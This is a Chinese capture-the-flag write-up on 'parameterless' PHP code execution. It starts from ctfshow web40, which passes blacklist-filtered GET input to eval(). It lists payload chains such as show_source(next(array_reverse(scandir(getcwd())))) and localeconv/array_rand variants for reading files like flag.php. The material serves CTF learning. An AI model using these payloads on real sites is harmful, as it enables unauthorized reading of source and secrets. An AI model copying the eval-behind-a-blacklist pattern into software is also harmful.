PHP无参数读文件
  7o0lrI1v52Tn 2023年11月24日 32 0

无参数RCE就从ctfshow的web40说起吧,先看一下这道题

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

这道题过滤了很多符号,但是放出了英文的圆括号,就直接考虑无参数rce的思路了。

第一步,获取当前路径

var_dump(getcwd());

PHP无参数读文件_文件名

第二步,获取当前路径下的文件名

var_dump(scandir(getcwd()));

PHP无参数读文件_当前路径_02

这里看到了这个flag.php文件了,观察一下位置,正数第三个,倒数第二个,这样就可以数组逆置配合next得到flag.php的名字了

第三步,获取目标文件名

var_dump(next(array_reverse(scandir(getcwd()))));

PHP无参数读文件_当前路径_03

第四步,直接读源码

show_source(next(array_reverse(scandir(getcwd()))));

PHP无参数读文件_文件名_04

当然这不是唯一解。。。。。。

正片

例题讲完了,根据上述解法,思路就是:获取路径-获取文件名-读源码,根据这个思路,可以变化的无非就是用什么函数去完成这三个步骤

获取路径

利用“.”

这道题刚好ban掉的东西比较少,适合举例子使用

对于当前路径来说,一个 . 就可以,但是题目ban了,就可以用localeconv()函数

PHP无参数读文件_文件名_05

我们看到他返回的数组第一个就是我们需要的.

PHP无参数读文件_数组_06

然后利用pos函数(返回数组中的当前元素的值)就可以得到.了

PHP无参数读文件_当前路径_07

利用函数

getcwd函数可以直接返回当前路径

PHP无参数读文件_数组_08

PHP无参数读文件_文件名_09

dir 

PHP无参数读文件_数组_10

realpath(pos(localeconv()))

PHP无参数读文件_文件名_11

总结(长期补充)

以下是所有可以得到当前路径的组合

realpath(pos(localeconv()))
__dir__
getcwd()

获取路径下文件名

scandir函数

PHP无参数读文件_当前路径_12

总结(长期补充)

scandir(路径)

获取目标文件名

数组逆置+next()

因为next函数(函数将内部指针指向数组中的下一个元素,并输出),所以当目标文件在正数第二个或者倒数第二个的时候,就可以用next函数。这里具体介绍倒数第二个,我们可以先将数组逆置,就可以用next指向在第二个位置的目标文件了

先逆置array_reverse(scandir(getcwd()))

PHP无参数读文件_当前路径_13

再指向next(array_reverse(scandir(getcwd())))

PHP无参数读文件_文件名_14

交换键值+随机获取键名

当目标文件不在跟2有关的位置的时候,就可以用这个方法,当然在文件不多的时候这个方法好像是比较通用的一种方法吧,浏览php对数组的操作,

array_flip可以交换键值

PHP无参数读文件_当前路径_15

array_rand可以随机取键

PHP无参数读文件_数组_16

两个结合一下,随机取值

PHP无参数读文件_数组_17

总结(长期补充)

next(array_reverse(scandir(getcwd())))
array_rand(array_flip(scandir(getcwd())))

读取文件内容

这部分简单,直接上总结

总结(长期补充)

show_source
highlight_file
include

上述就是通过简单的组合读取文件内容。

未完待续……欢迎各位大佬补充

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月24日 0

暂无评论